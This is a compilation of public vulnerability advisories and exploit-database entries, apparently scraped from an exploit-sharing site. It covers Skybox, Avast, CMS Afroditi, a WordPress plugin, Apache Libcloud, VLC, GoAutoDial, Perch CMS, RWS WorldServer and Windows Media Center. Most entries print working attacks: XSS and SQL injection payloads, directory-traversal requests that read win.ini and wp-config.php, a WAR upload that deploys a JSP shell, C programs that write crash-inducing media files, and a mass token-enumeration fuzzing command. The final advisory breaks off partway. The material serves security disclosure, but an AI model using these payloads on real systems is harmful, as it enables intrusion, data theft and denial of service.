         CVE number:
             impact: Critical
           homepage: www.skyboxsecurity.com/products/appliance
              found: 2014-12-04
                 by: K. Gudinavicius, M. Heinzl, C. Schwarz (Office Singapore)
                     SEC Consult Vulnerability Lab
                     An integrated part of SEC Consult
                     Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Skybox Security provides cutting-edge risk analytics for enterprise security
management. Our solutions give you complete network visibility, help you
eliminate attack vectors, and optimize your security management processes.
Protect the network and the business."
Source: http://www.skyboxsecurity.com/

Business recommendation:
------------------------
Attackers are able to perform Cross-Site Scripting and SQL Injection attacks
against the Skybox platform. Furthermore, it is possible for
unauthenticated attackers to download arbitrary files and execute arbitrary
code.

SEC Consult recommends the vendor to conduct a comprehensive security
analysis, based on security source code reviews, in order to identify all
available vulnerabilities in the Skybox platform and increase the security
of its customers.

Vulnerability overview/description:
-----------------------------------
1) Multiple Reflected Cross-Site Scripting Vulnerabilities
2) Multiple Stored Cross-Site Scripting Vulnerabilities
3) Arbitrary File Download and Directory Traversal Vulnerability
4) Blind SQL Injection Vulnerability
5) Remote Unauthenticated Code Execution

Proof of concept:
-----------------
1) Multiple Reflected Cross-Site Scripting Vulnerabilities
Multiple scripts are prone to reflected Cross-Site Scripting attacks.
The following example demonstrates this issue with the
service VersionRepositoryWebService:

POST /skyboxview/webservice/services/VersionRepositoryWebService HTTP/1.0
Content-type: text/plain
User-Agent: Axis/1.4
Host: localhost:8282
SOAPAction: ""
Content-Length: 863
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><ns1:checkV
ersion
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://com/skybox/view/webservice/versionrepositoryc4f85">&l
t;a
xmlns:a=&apos;http://www.w3.org/1999/xhtml&apos;><a:body
onload=&apos;alert(1)&apos;/></a>9884933253b"><components
soapenc:arrayType="soapenc:string[1]" xsi:type="soapenc:Array"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><components
xsi:type="soapenc:string">Application</components></components><os
xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">windows-64</os><curre
ntVersion
xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">7.0.601</currentVersi
on></ns1:checkVersion></soapenv:Body></soapenv:Envelope>

Other scripts and parameters, such as the parameter status of the login script
(located at https://localhost:444/login.html) are affected as well. The
following request demonstrates this issue:
https://localhost:444/login.html?status=%27%3C/script%3E%3Cscript%3Ealert%28doc
ument.cookie%29%3C/script%3E

2) Multiple Stored Cross-Site Scripting Vulnerabilities
Multiple fields of the Skybox Change Manager, which can be accessed at
https://localhost:8443/skyboxview/, are prone to stored Cross-Site Scripting
attacks. For example when creating a new ticket, the title can be misused
to insert JavaScript code. The following request to the server demonstrates
the issue:

Request:
POST /skyboxview/webskybox/tickets HTTP/1.1
Host: localhost:8443
[...]
7|0|18|https://localhost:8443/skyboxview/webskybox/|272....5E|com.skybox.view.g
wt.client.service.TicketsService|createAccessChangeTicket|com.skybox.view.trans
fer.netmodel.tickets.AccessChangeTicketData/1874789321|com.skybox.view.transfer
.modelview.ChangeRequestGraph/1577593632|com.skybox.view.transfer.netmodel.phas
es.BasePhaseOperation/3921542662|java.util.Collection|com.skybox.view.transfer.
netmodel.PhaseDefinitionId/3246549697|java.lang.String/2004016611|com.skybox.vi
ew.transfer.properties.PropertyBag/343216801|com.skybox.view.transfer.netmodel.
TicketWorkflowId/3953158119|com.skybox.view.transfer.netmodel.ConfigurationItem
Id/1448062761|com.skybox.view.transfer.netmodel.tickets.ChangeRequestRiskEnum/8
52682809||skyboxview|test"><img
src=yy onerror=alert(document.cookie) >|java.util.ArrayList/41

Other fields, like "Comments" and "Description", are affected as well.

3) Arbitrary File Download and Directory Traversal Vulnerability
Skybox Change Manager allows to upload and download attachments for tickets.
The download functionality can be exploited to download arbitrary files. No
authentication is required to exploit this vulnerability. The following
request demonstrates the issue:
POST /skyboxview/webskybox/attachmentdownload HTTP/1.1
Host: localhost:8443
tempShortFileName=aaaaaa&tempFileName=../../../../../../../../../../../windows/
win.ini

The script /skyboxview/webskybox/filedownload is also affected by the same
vulnerability.

Note: The upload functionality can also be used to upload files without
authentication.

4) Blind SQL Injection Vulnerability
Arbitrary SQL queries can be inserted into the service VersionWebService. The
following request demonstrates this issue with a simple sleep statement:

POST https://localhost:8443/skyboxview/webservice/services/VersionWebService
HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 619
Host: localhost:8443
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ver="http://com/skybox/view/webservice/version">
   <soapenv:Header/>
   <soapenv:Body>
      <ver:getUserLockInSeconds
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <username xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">admin&apos;+(select
* from (select(sleep(20)))a)+&apos;</username>
      </ver:getUserLockInSeconds>
   </soapenv:Body>
</soapenv:Envelope>

No authentication is required to exploit this vulnerability.

5) Remote Unauthenticated Code Execution
It is possible to upload WAR files, containing for example JSP files, which
will be automatically deployed by the Skybox appliance. This way, it is
possible to upload a JSP shell which enables an attacker to execute arbitrary
commands running in the same context as the web server running (by default
skyboxview).
The following request to the Skyboxview update service (located at
https://localhost:9443) uploads a JSP file. It will be uploaded to
/opt/skyboxview/thirdparty/jboss/server/web/deploy where it is automatically
extracted and deployed at
/opt/skyboxview/thirdparty/jboss/server/web/work/jboss.web/localhost.

POST /skyboxview-softwareupdate/services/CollectorSoftwareUpdate HTTP/1.1
Accept-Encoding: gzip,deflate
SOAPAction: ""
Content-Type: multipart/related; type="text/xml";
start="<rootpart@soapui.org>";
boundary="----=_Part_1_1636307031.1418103287783"
MIME-Version: 1.0
User-Agent: Jakarta Commons-HttpClient/3.1
Host: localhost:9443
Content-Length: 1944

------=_Part_1_1636307031.1418103287783
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: 8bit
Content-ID: <rootpart@soapui.org>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:sof="http://com/skybox/view/agent/webservice/softwareupdate">
   <soapenv:Header/>
   <soapenv:Body>
      <sof:uploadPatch
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <patchName xsi:type="soapenc:string"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">../../thirdparty/jbos
s/server/web/deploy/helloworld2.war</patchName>
<patchData href="cid:helloworld.war"/>
      </sof:uploadPatch>
   </soapenv:Body>
</soapenv:Envelope>
------=_Part_1_1636307031.1418103287783
Content-Type: application/octet-stream; name=helloworld.war
Content-Transfer-Encoding: binary
Content-ID: <helloworld.war>
Content-Disposition: attachment; name="helloworld.war"; filename="helloworld.wa
r"

[binary]

Vulnerable / tested versions:
-----------------------------
The vulnerabilities have been verified to exist in the Skybox platform
version 7.0.611, which was the most recent version at the time of discovery.

Vendor contact timeline:
------------------------
Communication with the vendor was handled by SEC Consult's client.

Solution:
---------
According to the release-notes, the issues have been fixed in the following
versions (reference number "19184"):
7.5.401: Reflected Cross-site scripting vulnerabilities
7.5.201: Remote Code Execution, SQL Injection, Arbitrary File Download and
         Directory Traversal

Users of Skybox are advised to upgrade to version 7.5.401 or higher.

Workaround:
-----------
None

Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF M. Heinzl/ @2015
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=554

The attached PEncrypt packed executable causes an OOB write on Avast Server Edition. 

(gdb) bt
#0  0xf6f5e64a in EmulatePolyCode(_POLY_INFO*, int) () from /proc/self/cwd/defs/15092301/engine.so
#1  0xf6f7d334 in pencryptMaybeUnpack(CFMap&, _PEEXE_INFO*, asw::root::CGenericFile*, _EXE_UNPACK_INFO*) () from /proc/self/cwd/defs/15092301/engine.so
#2  0xf6f75805 in CPackWinExec::packIsPacked(CFMap&, void**, ARCHIVE_UNPACKING_INFO*) () from /proc/self/cwd/defs/15092301/engine.so
#3  0xf6e8d1a2 in CAllPackers::IsPacked(CFMap&, _SARCHIVERANGE*, unsigned int, unsigned int, unsigned int, unsigned int, CObjectName const*, unsigned int*, unsigned int*, _PEEXE_INFO**) () from /proc/self/cwd/defs/15092301/engine.so
#4  0xf6e784ef in CScanInfo::ProcessPackingReal(CObjectName&, CFMap&, _VIRUSDATAARRAY*, int&, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#5  0xf6e78bdd in CScanInfo::ProcessPacking(CObjectName&, unsigned int, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#6  0xf6e74fbd in CScanInfo::ProcessArea(CObjectName&, unsigned int, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#7  0xf6e752af in CScanInfo::ProcessTopArea(CObjectName&, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#8  0xf6e7d6db in avfilesScanRealMulti () from /proc/self/cwd/defs/15092301/engine.so
#9  0xf6e81915 in avfilesScanReal () from /proc/self/cwd/defs/15092301/engine.so
#10 0x0805d2a5 in avfilesScanReal ()
#11 0x0805498c in engine_scan ()
(gdb) x/i $pc
=> 0xf6f5e64a <_Z15EmulatePolyCodeP10_POLY_INFOi+7194>:	mov    WORD PTR [edx],ax
(gdb) p/x $edx
$7 = 0xe73f181f
(gdb) p/x $ax
$8 = 0x1060

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38931.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=550

The attached file crashes in CmdExtract::UnstoreFile because the signed int64 DestUnpSize is truncated to an unsigned 32bit integer. Perhaps CmdExtract::ExtractCurrentFile should sanity check Arc.FileHead.UnpSize early.

I observed this crash in Avast Antivirus, but the origin of the code appears to be the unrar source distribution. I imagine many other antiviruses will be affected, and presumably WinRAR and other archivers.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38930.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=552

Trivial fuzzing of molebox archives revealed a heap overflow decrypting the packed image in moleboxMaybeUnpack. This vulnerability is obviously exploitable for remote arbitrary code execution as NT AUTHORITY\SYSTEM.

The attached testcase should cause heap corruption in AvastSvc.exe, please enable page heap if you have trouble reproducing. 

HEAP[AvastSvc.exe]: ZwAllocateVirtualMemory failed c0000018 for heap 00310000 (base 0E560000, size 0006B000)
(474.9f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0e5cb478 ebx=0dd70000 ecx=0000d87f edx=0e55f080 esi=00310000 edi=00003bf8
eip=7731836b esp=0be6d338 ebp=0be6d364 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ntdll!RtlpDeCommitFreeBlock+0x146:
7731836b 80780703        cmp     byte ptr [eax+7],3         ds:002b:0e5cb47f=??

#0  0xf702d588 in asw::root::NewDesCryptBlock(unsigned char*, unsigned int, unsigned char const*, bool, int) ()
#1  0xf702b009 in Mole_DecryptBuffer () from /proc/self/cwd/defs/15092301/engine.so
#2  0xf6f6a124 in moleboxMaybeUnpack(CFMap&, _PEEXE_INFO*, asw::root::CGenericFile*, _EXE_UNPACK_INFO*) () 
#3  0xf6f7630d in CPackWinExec::packGetNext(void*, ARCHIVED_FILE_INFO*) ()
#4  0xf6e8cdf3 in CAllPackers::GetNext(unsigned int, void*, ARCHIVED_FILE_INFO*) ()
#5  0xf6e76fc9 in CScanInfo::ProcessPackingReal(CObjectName&, CFMap&, _VIRUSDATAARRAY*, int&, unsigned int) ()
#6  0xf6e78bdd in CScanInfo::ProcessPacking(CObjectName&, unsigned int, unsigned int) ()
#7  0xf6e74fbd in CScanInfo::ProcessArea(CObjectName&, unsigned int, unsigned int) ()
#8  0xf6e752af in CScanInfo::ProcessTopArea(CObjectName&, unsigned int) ()
#9  0xf6e7d6db in avfilesScanRealMulti ()
#10 0xf6e81915 in avfilesScanReal ()
#11 0x0805d2a5 in avfilesScanReal ()
#12 0x0805498c in engine_scan ()

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38933.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=549

If the numFonts field in the TTC header is greater than (SIZE_MAX+1) / 4, an integer overflow occurs in filevirus_ttf() when calling CSafeGenFile::SafeLockBuffer.

The TTC file format is described here https://www.microsoft.com/typography/otspec/otff.htm

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38934.zip
HireHackking 
source: https://www.securityfocus.com/bid/64572/info

CMS Afroditi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Afroditi 1.0 is vulnerable. 

http://www.example.com/default.asp?id=25 and 0<=(SELECT count(*) FROM [site]) and 1=1
HireHackking 
source: https://www.securityfocus.com/bid/64587/info

The Advanced Dewplayer plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

Advanced Dewplayer 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php
HireHackking 
source: https://www.securityfocus.com/bid/64617/info

Apache Libcloud is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information. Information obtained may lead to further attacks.

Apache Libcloud versions 0.12.3 through 0.13.2 are vulnerable. 

dd if=/dev/vda bs=1M | strings -n 100 > out.txt
HireHackking 
source: https://www.securityfocus.com/bid/64619/info

xBoard is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

xBoard 5.0, 5.5, and 6.0 are vulnerable. 

http://www.example.com/xboard/view.php?post=[LFI]
HireHackking 
// source: https://www.securityfocus.com/bid/64623/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 1.1.11 is vulnerable; other versions may also be affected. 

# Exploit Title: VLC v. 1.1.11 .nsv DOS
# Date: 3/14/2012
# Author: Dan Fosco
# Vendor or Software Link: www.videolan.org
# Version: 1.1.11
# Category: local
# Google dork: n/a
# Tested on: Windows XP SP3 (64-bit)
# Demo site: n/a

#include <stdio.h>

int main()
{
	FILE *f;
	f = fopen("dos.nsv", "w");
	fputs("\x4e\x53\x56\x66", f);
	fputc('\x00', f);
	fputc('\x00', f);
	fputc('\x00', f);
	fputc('\x00', f);
	fclose(f);
	return 0;
}

//use code for creating malicious file

edit:  works on 2.0.1.0
HireHackking 
# Title : GoAutoDial CE 3.3 Multiple SQL injections, Command Injection
# Date : 06/12/2015
# Author : R-73eN
# Tested on : goautodial-32bit-ce-3.3-final
# Software : http://goautodial.org/
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#

Vulnerabilities

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

call_report_export.php

Line 131

$LOGip = getenv("REMOTE_ADDR");
$LOGbrowser = getenv("HTTP_USER_AGENT");
$LOGscript_name = getenv("SCRIPT_NAME");
$LOGserver_name = getenv("SERVER_NAME");
$LOGserver_port = getenv("SERVER_PORT");
$LOGrequest_uri = getenv("REQUEST_URI");
$LOGhttp_referer = getenv("HTTP_REFERER");
if (preg_match("/443/i",$LOGserver_port)) {$HTTPprotocol = 'https://';}
  else {$HTTPprotocol = 'http://';}
if (($LOGserver_port == '80') or ($LOGserver_port == '443') ) {$LOGserver_port='';}
else {$LOGserver_port = ":$LOGserver_port";}
$LOGfull_url = "$HTTPprotocol$LOGserver_name$LOGserver_port$LOGrequest_uri";

$stmt="INSERT INTO vicidial_report_log set event_date=NOW(), user='$PHP_AUTH_USER', ip_address='$LOGip', report_name='$report_name', browser='$LOGbrowser', referer='$LOGhttp_referer', notes='$LOGserver_name:$LOGserver_port $LOGscript_name |$campaign[0], $query_date, $end_date|', url='$LOGfull_url';";


The $LOGip , $LOGbrowser etc are not sanitized are passed directly to a sql query.
For example passing  a crafted User-Agent header  will cause a sql injection attack.

The following files were vulnerable for the same vulnerability.
call_report_export.php
voice_lab.php
user_status.php
user_stats.php
timeclock_status.php
timeclock_report.php
sph_report.php
group_hourly_stats.php
realtime_report.php
lead_report_export.php
list_download.php
fcstats.php
call_report_export.php
AST_VICIDIAL_ingrouplist.php
AST_VICIDIAL_hopperlist.php
AST_usergroup_login_report.php
AST_team_performance_detail.php
AST_VDADstats.php
AST_server_performance.php
campaign_debug.php
AST_LIST_UPDATEstats.php
AST_LISTS_campaign_stats.php
AST_OUTBOUNDsummary_interval.php
AST_IVRstats.php
AST_IVRfilter.php
AST_inbound_daily_report.php
and in many other files.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

web_form_forward.php
Line 15

if (isset($_GET["user"])) {$user=$_GET["user"];}

require("dbconnect.php");
$stmt="SELECT full_name from vicidial_users where user='$user';";
$rslt=mysql_query($stmt, $link);
$row=mysql_fetch_row($rslt);

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

QM_live_monitor.php

If the QueueMetrics is enabled the following file is vulnerable to sql injection

. LINE 31
if (isset($_GET["call"])){$call=$_GET["call"];}
elseif (isset($_POST["call"]))	{$call=$_POST["call"];}
.
.
.
$stmt = "SELECT user,server_ip,conf_exten,comments FROM vicidial_live_agents where callerid='$call';";


As u can see the $call parameter is not sanitized which leads to Sql injection.


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


call_log_display.php SQL injection


there is no validation on the $server_ip and $session_name an
if( (strlen($server_ip)<6) or (!isset($server_ip)) or ( (strlen($session_name)<12) or (!isset($session_name)) ) )
.
.
$stmt="SELECT count(*) from web_client_sessions where session_name='$session_name' and server_ip='$server_ip';";
.
.
The if statement can be bypassed very easily, we need to provide an input more then 6 characters and more then 12 characters.
Then the parameters get passed ot the sql query and we have sql injection again.

The same vulnerability was found to.

conf_extn_check.php
inbound_popup.php
live_extn_check.php
manager_send.php
park_calls_display.php
active_list_refresh.php


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


SCRIPT_multirecording_AJAX.php SQL injection

.
.
.
if (isset($_GET["campaign"]))	{$campaign=$_GET["campaign"];}
	elseif (isset($_POST["campaign"]))	{$campaign=$_POST["campaign"];}
.
.
.
$stmt="select campaign_rec_filename from vicidial_campaigns where campaign_id='$campaign'";

Again $campaign is not sanetized


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


recording_lookup.php SQL injection
.
.
(isset($_GET["QUERY_recid"]))		{$QUERY_recid=$_GET["QUERY_recid"];}
elseif (isset($_POST["QUERY_recid"]))	{$QUERY_recid=$_POST["QUERY_recid"];}
.
.
$stmt="select recording_id,lead_id,user,filename,location,start_time,length_in_sec from recording_log where filename LIKE \"%$QUERY_recid%\" order by recording_id desc LIMIT 1;";
$QUERY_recid is not sanitized.


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


vicidial_sales_viewer.php SQL injection , Command Injection
the $dcampaign parameter is not sanitized.

.
.
if (isset($_GET["dcampaign"]))				{$dcampaign=$_GET["dcampaign"];}
elseif (isset($_POST["dcampaign"]))			{$dcampaign=$_POST["dcampaign"];}
.
.
$stmt="select campaign_id, campaign_name from vicidial_campaigns where campaign_id='$dcampaign'"; // Here we have the sql injection
.
.
passthru("$WeBServeRRooT/vicidial/spreadsheet_sales_viewer.pl $list_ids $sales_number $timestamp $forc $now $dcampaign"); // Command injection



https://www.infogen.al/ - Infogen AL
HireHackking 
// source: https://www.securityfocus.com/bid/64626/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 1.1.11 is vulnerable; other versions may also be affected. 

# Exploit Title: VLC v. 1.1.11 .eac3 DOS
# Date: 3/14/2012
# Author: Dan Fosco
# Vendor or Software Link: www.videolan.org
# Version: 1.1.11
# Category:: local
# Google dork: n/a
# Tested on: Windows XP SP3 (64-bit)
# Demo site: n/a

#include <stdio.h>

int main(int argc, char *argv[])
{
	FILE *f;
	f = fopen(argv[1], "r+");
	fseek(f, 5, SEEK_SET);
	fputc('\x00', f);
	fclose(f);
	return 0;
}

//code updates eac3 file, can find samples on videolan ftp server
HireHackking

Perch v3.2 - Stored XSS 

Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs:  XSS
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file

"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
"""
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)
HireHackking 
Exploit Title: RWS WorldServer 11.7.3 - Session Token Enumeration
Session tokens in RWS WorldServer have a low entropy and can be
enumerated, leading to unauthorised access to user sessions.


Details
=======

Product: WorldServer
Affected Versions: 11.7.3 and earlier versions
Fixed Version: 11.8.0
Vulnerability Type: Session Token Enumeration
Security Risk: high
Vendor URL: https://www.rws.com/localization/products/additional-solutions/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-001
Advisory Status: published
CVE: CVE-2023-38357
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38357


Introduction
============

"WorldServer offers a flexible, enterprise-class translation management
system that automates translation tasks and greatly reduces the cost of
supporting large volumes of local language content."

(from the vendor's homepage)


More Details
============

WorldServer associates user sessions with numerical tokens, which always
are positive values below 2^31. The SOAP action "loginWithToken" allows
for a high amount of parallel attempts to check if a token is valid.
During analysis, many assigned tokens were found to be in the 7-digit
range of values. An attacker is therefore able to enumerate user
accounts in only a few hours.


Proof of Concept
================

In the following an example "loginWithToken" request is shown:

-----------------------------------------------------------------------
POST /ws/services/WSContext HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 501
Host: www.example.com
Connection: close
User-Agent: agent

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soapenv="http://schemas.xmlsoap.org">
     <soapenv:Header/>
     <soapenv:Body>
        <com:loginWithToken soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
           <token xsi:type="xsd:string">FUZZ</token>
        </com:loginWithToken>
     </soapenv:Body>
</soapenv:Envelope>
-----------------------------------------------------------------------

It can be saved as file "login-soap.req" and be used as a request
template for the command-line HTTP enumerator monsoon [1] to achieve
many parallel requests:

-----------------------------------------------------------------------
$ monsoon fuzz --threads 100 \
--template-file login-soap.req \
--range 1-2147483647 \
--hide-pattern "InvalidSessionException" \
'https://www.example.com'

Target URL: https://www.example.com/

   status   header     body   value    extract

      500      191      560   5829099
      500      191      556   6229259
      200      191     3702   7545136
      500      191      556   9054984
[...]
processed 12000000 HTTP requests in 2h38m38s
4 of 12000000 requests shown, 1225 req/s
-----------------------------------------------------------------------

The --range parameter reflects the possible value range of 2^31 and for
each value an HTTP request is sent to the WorldServer SOAP API where the
FUZZ marker in the request template is replaced with the respective
value. Also responses are hidden which contain "InvalidSessionException"
as these sessions are invalid. Responses will yield a status code of 200
if an administrative session token is found. For an unprivileged user
session, status code 500 is returned.


Workaround
==========

Lower the rate at which requests can be issued, for example with a
frontend proxy.


Fix
===

According to the vendor, upgrading to versions above 11.8.0 resolves the
vulnerability.


Security Risk
=============

Attackers can efficiently enumerate session tokens. In a penetration
test, it was possible to get access to multiple user accounts, including
administrative accounts using this method in under three hours.
Additionally, by using such an administrative account it seems likely to
be possible to execute arbitrary code on the underlying server by
customising the REST API [2]. Thus, the vulnerability poses a high risk.


Timeline
========

2023-03-27 Vulnerability identified
2023-03-30 Customer approved disclosure to vendor
2023-04-03 Requested security contact from vendor
2023-04-06 Vendor responded with security contact
2023-04-14 Advisory sent to vendor
2023-04-18 Vendor confirms vulnerability and states that it was already
known and fixed in version 11.8.0.
2023-07-03 Customer confirms update to fixed version
2023-07-05 CVE ID requested
2023-07-15 CVE ID assigned
2023-07-19 Advisory released

References
==========

[1] https://github.com/RedTeamPentesting/monsoon
[2] https://docs.rws.com/860026/585715/worldserver-11-7-developer-documentation/customizing-the-rest-api


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://jobs.redteam-pentesting.de/

-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Alter Posthof 1                           Fax : +49 241 510081-99
52062 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
HireHackking 
1. Advisory Information

Title: Microsoft Windows Media Center link file incorrectly resolved reference
Advisory ID: CORE-2015-0014
Advisory URL: http://www.coresecurity.com/advisories/microsoft-windows-media-center-link-file-incorrectly-resolved-reference
Date published: 2015-12-08
Date of last update: 2015-12-04
Vendors contacted: Microsoft
Release mode: Coordinated release

2. Vulnerability Information

Class: Use of Incorrectly-Resolved Name or Reference [CWE-706]
Impact: Information leak
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2015-6127

 

3. Vulnerability Description

The 'application' tag in Microsoft [1] Windows Media Center link files (.mcl extension) can include a 'run' parameter, which indicates the path of a file to be launched when opening the MCL file, or a 'url' parameter, which indicates the URL of a web page to be loaded within the Media Center's embedded web browser.

A specially crafted MCL file having said 'url' parameter pointing to the MCL file itself can trick Windows Media Center into rendering the very same MCL file as a local HTML file within the Media Center's embedded web browser.

4. Vulnerable Packages

Windows 7 for x64-based Systems Service Pack 1 (with Internet Explorer 11 installed)
Other versions are probably affected too, but they were not checked.

